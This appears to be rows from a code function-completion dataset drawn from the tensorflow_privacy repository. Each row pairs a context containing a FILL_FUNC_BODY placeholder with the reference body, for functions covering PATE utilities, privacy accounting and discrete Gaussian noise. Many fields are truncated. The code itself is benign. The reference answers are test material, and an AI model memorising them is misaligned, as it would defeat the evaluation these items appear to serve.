# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,421 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/pate_2017/utils.py | 17,18 | 1,36 | batch_indices | 25,36 | 18,36 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Batch start and end index
start = int(batch_nb * batch_size)
end = int((batch_nb + 1) * batch_size)
# When there are not enough inputs left, we reuse some to complete the batch
if end > data_length:
shift = end - data_length
start -= shift
end -= shift
return start, end
| """
This helper function computes a batch start and end index
:param batch_nb: the batch number
:param data_length: the total length of the data being parsed by batches
:param batch_size: the number of inputs in each batch
:return: pair of (start, end) indices
"""
# Batch start and end index
start = i... | 51 | 278 | 108 | 386 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,422 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/pate_2018/ICLR2018/download.py | 30,31 | 1,44 | download | 31,39 | 31,39 | # Copyright 2017 The 'Scalable Private Learning with PATE' Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | # Copyright 2017 The 'Scalable Private Learning with PATE' Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | print('Downloading ' + FILE_URI)
tar_filename, _ = urllib.request.urlretrieve(FILE_URI)
print('Unpacking ' + tar_filename)
with tarfile.open(tar_filename, "r:gz") as tar:
tar.extractall(DATA_DIR)
print('Done!')
| print('Downloading ' + FILE_URI)
tar_filename, _ = urllib.request.urlretrieve(FILE_URI)
print('Unpacking ' + tar_filename)
with tarfile.open(tar_filename, "r:gz") as tar:
tar.extractall(DATA_DIR)
print('Done!')
| 19 | 345 | 96 | 441 | # Copyright 2017 The 'Scalable Private Learning with PATE' Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | # Copyright 2017 The 'Scalable Private Learning with PATE' Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | |
40,423 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/pate_2018/ICLR2018/utility_queries_answered.py | 56,57 | 1,91 | main | 57,89 | 57,89 | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | del argv # Unused.
plt.close('all')
fig, ax = plt.subplots()
fig.set_figheight(4.7)
fig.set_figwidth(5)
ax.plot(qa_lnmax, acc_lnmax, color='r', ls='--', linewidth=5., marker='o',
alpha=.5, label='LNMax')
ax.plot(qa_gnmax, acc_gnmax, color='g', ls='-', linewidth=5., marker='o',
alpha=... | del argv # Unused.
plt.close('all')
fig, ax = plt.subplots()
fig.set_figheight(4.7)
fig.set_figwidth(5)
ax.plot(qa_lnmax, acc_lnmax, color='r', ls='--', linewidth=5., marker='o',
alpha=.5, label='LNMax')
ax.plot(qa_gnmax, acc_gnmax, color='g', ls='-', linewidth=5., marker='o',
alpha=... | 102 | 1,128 | 613 | 1,741 | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,425 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/pate_2018/core_test.py | 40,41 | 29,123 | _test_rdp_gaussian_as_function_of_q | PateTest | 41,77 | 41,77 | class PateTest(unittest.TestCase):
def _test_rdp_gaussian_value_errors(self):
# Test for ValueErrors.
with self.assertRaises(ValueError):
pate.rdp_gaussian(1.0, 1.0, np.array([2, 3, 4]))
with self.assertRaises(ValueError):
pate.rdp_gaussian(np.log(0.5), -1.0, np.array([2, 3, 4]))
with sel... | class PateTest(unittest.TestCase):
def _test_rdp_gaussian_value_errors(self):
# Test for ValueErrors.
with self.assertRaises(ValueError):
pate.rdp_gaussian(1.0, 1.0, np.array([2, 3, 4]))
with self.assertRaises(ValueError):
pate.rdp_gaussian(np.log(0.5), -1.0, np.array([2, 3, 4]))
with sel... | # Test for data-independent and data-dependent ranges over q.
# The following corresponds to orders 1.1, 2.5, 32, 250
# sigmas 1.5, 15, 1500, 15000.
# Hand calculated -log(q0)s arranged in a 'sigma major' ordering.
neglogq0s = [
2.8, 2.6, 427, None, 4.8, 4.0, 4.7, 275, 9.6, 8.8, 6.0, 4, 12, ... | # Test for data-independent and data-dependent ranges over q.
# The following corresponds to orders 1.1, 2.5, 32, 250
# sigmas 1.5, 15, 1500, 15000.
# Hand calculated -log(q0)s arranged in a 'sigma major' ordering.
neglogq0s = [
2.8, 2.6, 427, None, 4.8, 4.0, 4.7, 275, 9.6, 8.8, 6.0, 4, 12, ... | 176 | 861 | 674 | 1,535 | # Copyright 2017 The 'Scalable Private Learning with PATE' Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | # Copyright 2017 The 'Scalable Private Learning with PATE' Authors All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... |
40,427 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/analysis/compute_dp_sgd_privacy.py | 80,81 | 1,98 | main | 81,96 | 81,96 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | del argv # argv is not used.
statement = compute_dp_sgd_privacy_lib.compute_dp_sgd_privacy_statement(
_NUM_EXAMPLES.value,
_BATCH_SIZE.value,
_NUM_EPOCHS.value,
_NOISE_MULTIPLIER.value,
_DELTA.value,
_USED_MICROBATCHING.value,
_MAX_EXAMPLES_PER_USER.value,
compute_d... | del argv # argv is not used.
statement = compute_dp_sgd_privacy_lib.compute_dp_sgd_privacy_statement(
_NUM_EXAMPLES.value,
_BATCH_SIZE.value,
_NUM_EPOCHS.value,
_NOISE_MULTIPLIER.value,
_DELTA.value,
_USED_MICROBATCHING.value,
_MAX_EXAMPLES_PER_USER.value,
compute_d... | 20 | 835 | 180 | 1,015 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,429 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/analysis/compute_dp_sgd_privacy_lib.py | 44,45 | 38,52 | get_accountant | AccountantType | 45,52 | 45,52 | class AccountantType(enum.Enum):
"""Accountant to use for privacy accounting."""
RDP = 'RDP'
PLD = 'PLD'
def get_accountant(self) -> dp_accounting.PrivacyAccountant:
FILL_FUNC_BODY | class AccountantType(enum.Enum):
"""Accountant to use for privacy accounting."""
RDP = 'RDP'
PLD = 'PLD'
def get_accountant(self) -> dp_accounting.PrivacyAccountant:
FILL_FUNC_BODY | if self == AccountantType.RDP:
return dp_accounting.rdp.RdpAccountant()
if self == AccountantType.PLD:
return dp_accounting.pld.PLDAccountant()
raise ValueError(f'Unsupported Accountant type {self.value}')
| if self == AccountantType.RDP:
return dp_accounting.rdp.RdpAccountant()
if self == AccountantType.PLD:
return dp_accounting.pld.PLDAccountant()
raise ValueError(f'Unsupported Accountant type {self.value}')
| 17 | 74 | 86 | 160 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,431 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/analysis/compute_noise_from_budget.py | 48,49 | 1,61 | main | 49,59 | 49,59 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | del argv # argv is not used.
assert FLAGS.N is not None, 'Flag N is missing.'
assert FLAGS.batch_size is not None, 'Flag batch_size is missing.'
assert FLAGS.epsilon is not None, 'Flag epsilon is missing.'
assert FLAGS.epochs is not None, 'Flag epochs is missing.'
compute_noise(FLAGS.N, FLAGS.batch_size, ... | del argv # argv is not used.
assert FLAGS.N is not None, 'Flag N is missing.'
assert FLAGS.batch_size is not None, 'Flag batch_size is missing.'
assert FLAGS.epsilon is not None, 'Flag epsilon is missing.'
assert FLAGS.epochs is not None, 'Flag epochs is missing.'
compute_noise(FLAGS.N, FLAGS.batch_size, ... | 49 | 554 | 155 | 709 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,432 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/analysis/compute_noise_from_budget_lib.py | 23,24 | 1,59 | compute_noise | 25,59 | 24,59 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | q = batch_size / n # q - the sampling ratio.
if q > 1:
raise app.UsageError('n must be larger than the batch size.')
orders = ([1.25, 1.5, 1.75, 2., 2.25, 2.5, 3., 3.5, 4., 4.5] +
list(range(5, 64)) + [128, 256, 512])
steps = int(math.ceil(epochs * n / batch_size))
def make_event_from_noise(... | """Compute noise based on the given hyperparameters."""
q = batch_size / n # q - the sampling ratio.
if q > 1:
raise app.UsageError('n must be larger than the batch size.')
orders = ([1.25, 1.5, 1.75, 2., 2.25, 2.5, 3., 3.5, 4., 4.5] +
list(range(5, 64)) + [128, 256, 512])
steps = int(math.ce... | 134 | 253 | 532 | 785 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,433 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/analysis/compute_noise_from_budget_test.py | 24,32 | 22,38 | test_compute_noise | ComputeNoiseFromBudgetTest | 32,38 | 32,38 | class ComputeNoiseFromBudgetTest(parameterized.TestCase):
@parameterized.named_parameters(
('Test0', 60000, 150, 0.941870567, 15, 1e-5, 1e-5, 1.3),
('Test1', 100000, 100, 1.70928734, 30, 1e-7, 1e-6, 1.0),
('Test2', 100000000, 1024, 5907984.81339406, 10, 1e-7, 1e-5, 0.1),
('Test3', 100000000, ... | class ComputeNoiseFromBudgetTest(parameterized.TestCase):
@parameterized.named_parameters(
('Test0', 60000, 150, 0.941870567, 15, 1e-5, 1e-5, 1.3),
('Test1', 100000, 100, 1.70928734, 30, 1e-7, 1e-6, 1.0),
('Test2', 100000000, 1024, 5907984.81339406, 10, 1e-7, 1e-5, 0.1),
('Test3', 100000000, ... | self.skipTest('Disable test.')
target_noise = compute_noise_from_budget_lib.compute_noise(
n, batch_size, target_epsilon, epochs, delta, min_noise)
self.assertAlmostEqual(target_noise, expected_noise)
| self.skipTest('Disable test.')
target_noise = compute_noise_from_budget_lib.compute_noise(
n, batch_size, target_epsilon, epochs, delta, min_noise)
self.assertAlmostEqual(target_noise, expected_noise)
| 13 | 300 | 79 | 379 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,434 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/analysis/gdp_accountant.py | 37,38 | 1,72 | compute_mu_poisson | 39,44 | 38,44 | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
t = epoch * n / batch_size
return np.sqrt(np.exp(noise_multi**(-2)) - 1) * np.sqrt(t) * batch_size / n
| """Compute mu from Poisson subsampling."""
t = epoch * n / batch_size
return np.sqrt(np.exp(noise_multi**(-2)) - 1) * np.sqrt(t) * batch_size / n
| 17 | 753 | 54 | 807 | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,435 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/analysis/tensor_buffer_eager_test.py | 51,52 | 22,77 | test_resize | TensorBufferTest | 52,77 | 52,77 | class TensorBufferTest(tf.test.TestCase):
"""Tests for TensorBuffer in eager mode."""
def test_basic(self):
size, shape = 2, [2, 3]
my_buffer = tensor_buffer.TensorBuffer(size, shape, name='my_buffer')
value1 = [[1, 2, 3], [4, 5, 6]]
my_buffer.append(value1)
self.assertAllEqual(my_buffer.valu... | class TensorBufferTest(tf.test.TestCase):
"""Tests for TensorBuffer in eager mode."""
def test_basic(self):
size, shape = 2, [2, 3]
my_buffer = tensor_buffer.TensorBuffer(size, shape, name='my_buffer')
value1 = [[1, 2, 3], [4, 5, 6]]
my_buffer.append(value1)
self.assertAllEqual(my_buffer.valu... | size, shape = 2, [2, 3]
my_buffer = tensor_buffer.TensorBuffer(size, shape, name='my_buffer')
# Append three buffers. Third one should succeed after resizing.
value1 = [[1, 2, 3], [4, 5, 6]]
my_buffer.append(value1)
self.assertAllEqual(my_buffer.values.numpy(), [value1])
self.assertAllEqua... | size, shape = 2, [2, 3]
my_buffer = tensor_buffer.TensorBuffer(size, shape, name='my_buffer')
# Append three buffers. Third one should succeed after resizing.
value1 = [[1, 2, 3], [4, 5, 6]]
my_buffer.append(value1)
self.assertAllEqual(my_buffer.values.numpy(), [value1])
self.assertAllEqua... | 74 | 380 | 412 | 792 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,436 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/analysis/tensor_buffer_graph_test.py | 22,23 | 19,65 | test_noresize | TensorBufferTest | 24,42 | 23,42 | class TensorBufferTest(tf.test.TestCase):
"""Tests for TensorBuffer in graph mode."""
def test_noresize(self):
FILL_FUNC_BODY def test_resize(self):
"""Test buffer resizes if capacity is exceeded."""
with self.cached_session() as sess:
size, shape = 2, [2, 3]
my_buffer = tensor_buffer.TensorB... | class TensorBufferTest(tf.test.TestCase):
"""Tests for TensorBuffer in graph mode."""
def test_noresize(self):
"""Test buffer does not resize if capacity is not exceeded."""
FILL_FUNC_BODY def test_resize(self):
"""Test buffer resizes if capacity is exceeded."""
with self.cached_session() as sess:
... | with self.cached_session() as sess:
size, shape = 2, [2, 3]
my_buffer = tensor_buffer.TensorBuffer(size, shape, name='my_buffer')
value1 = [[1, 2, 3], [4, 5, 6]]
with tf.control_dependencies([my_buffer.append(value1)]):
value2 = [[7, 8, 9], [10, 11, 12]]
with tf.control_depe... | """Test buffer does not resize if capacity is not exceeded."""
with self.cached_session() as sess:
size, shape = 2, [2, 3]
my_buffer = tensor_buffer.TensorBuffer(size, shape, name='my_buffer')
value1 = [[1, 2, 3], [4, 5, 6]]
with tf.control_dependencies([my_buffer.append(value1)]):
... | 59 | 399 | 280 | 679 | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,439 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/discrete_gaussian_query.py | 73,74 | 24,88 | get_noised_result | DiscreteGaussianSumQuery | 75,88 | 74,88 | class DiscreteGaussianSumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery for discrete Gaussian sum queries.
For each local record, we check the L2 norm bound and add discrete Gaussian
noise. In particular, this DPQuery does not perform L2 norm clipping and the
norms of the input records are expect... | class DiscreteGaussianSumQuery(dp_query.SumAggregationDPQuery):
"""Implements DPQuery for discrete Gaussian sum queries.
For each local record, we check the L2 norm bound and add discrete Gaussian
noise. In particular, this DPQuery does not perform L2 norm clipping and the
norms of the input records are expect... | # Round up the noise as the TF discrete Gaussian sampler only takes
# integer noise stddevs for now.
ceil_stddev = tf.cast(tf.math.ceil(global_state.stddev), tf.int32)
def add_noise(v):
noised_v = v + discrete_gaussian_utils.sample_discrete_gaussian(
scale=ceil_stddev, shape=tf.shape(v)... | """Adds discrete Gaussian noise to the aggregate."""
# Round up the noise as the TF discrete Gaussian sampler only takes
# integer noise stddevs for now.
ceil_stddev = tf.cast(tf.math.ceil(global_state.stddev), tf.int32)
def add_noise(v):
noised_v = v + discrete_gaussian_utils.sample_discrete... | 61 | 660 | 220 | 880 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,441 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/discrete_gaussian_query_test.py | 86,87 | 38,147 | test_sum_raise_on_float_inputs | DiscreteGaussianQueryTest | 87,96 | 87,96 | class DiscreteGaussianQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_sum_no_noise(self):
with self.cached_session() as sess:
record1 = tf.constant([2, 0], dtype=tf.int32)
record2 = tf.constant([-1, 1], dtype=tf.int32)
query = dg_sum_query(l2_norm_bound=10, stddev=0.0)
quer... | class DiscreteGaussianQueryTest(tf.test.TestCase, parameterized.TestCase):
def test_sum_no_noise(self):
with self.cached_session() as sess:
record1 = tf.constant([2, 0], dtype=tf.int32)
record2 = tf.constant([-1, 1], dtype=tf.int32)
query = dg_sum_query(l2_norm_bound=10, stddev=0.0)
quer... | with self.cached_session() as sess:
record1 = tf.constant([2, 0], dtype=tf.float32)
record2 = tf.constant([-1, 1], dtype=tf.float32)
query = dg_sum_query(l2_norm_bound=10, stddev=0.0)
with self.assertRaises(TypeError):
query_result, _ = test_utils.run_query(query, [record1, record2]... | with self.cached_session() as sess:
record1 = tf.constant([2, 0], dtype=tf.float32)
record2 = tf.constant([-1, 1], dtype=tf.float32)
query = dg_sum_query(l2_norm_bound=10, stddev=0.0)
with self.assertRaises(TypeError):
query_result, _ = test_utils.run_query(query, [record1, record2]... | 27 | 1,691 | 150 | 1,841 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,442 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/discrete_gaussian_utils.py | 32,33 | 1,143 | _sample_discrete_laplace | 49,54 | 33,54 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | geometric_probs = 1.0 - tf.exp(-1.0 / tf.cast(t, tf.float64))
sampler = tf_prob.distributions.Geometric(probs=geometric_probs)
return tf.cast(sampler.sample(shape) - sampler.sample(shape), tf.int64)
| """Sample from discrete Laplace with scale t.
This method is based on the observation that sampling from Z ~ Lap(t) is
equivalent to sampling X, Y independently from Geo(1 - exp(-1/t)) and take
Z = X - Y.
Note also that tensorflow_probability's geometric sampler is based on floating
operations and may pos... | 16 | 1,741 | 96 | 1,837 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | |
40,444 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/tensorflow_privacy/privacy/dp_query/discrete_gaussian_utils_test.py | 51,53 | 29,111 | test_dtypes | DiscreteGaussianUtilsTest | 53,58 | 53,58 | class DiscreteGaussianUtilsTest(tf.test.TestCase, parameterized.TestCase):
@parameterized.product(dtype=[tf.bool, tf.float32, tf.float64])
def test_raise_on_bad_dtype(self, dtype):
with self.assertRaises(ValueError):
_ = discrete_gaussian_utils.sample_discrete_gaussian(1, (1,), dtype)
def test_raise_o... | class DiscreteGaussianUtilsTest(tf.test.TestCase, parameterized.TestCase):
@parameterized.product(dtype=[tf.bool, tf.float32, tf.float64])
def test_raise_on_bad_dtype(self, dtype):
with self.assertRaises(ValueError):
_ = discrete_gaussian_utils.sample_discrete_gaussian(1, (1,), dtype)
def test_raise_o... | samples = discrete_gaussian_utils.sample_discrete_gaussian(1, (10,), dtype)
samples = self.evaluate(samples)
# Convert output np dtypes to tf dtypes.
self.assertEqual(tf.as_dtype(samples.dtype), dtype)
| samples = discrete_gaussian_utils.sample_discrete_gaussian(1, (10,), dtype)
samples = self.evaluate(samples)
# Convert output np dtypes to tf dtypes.
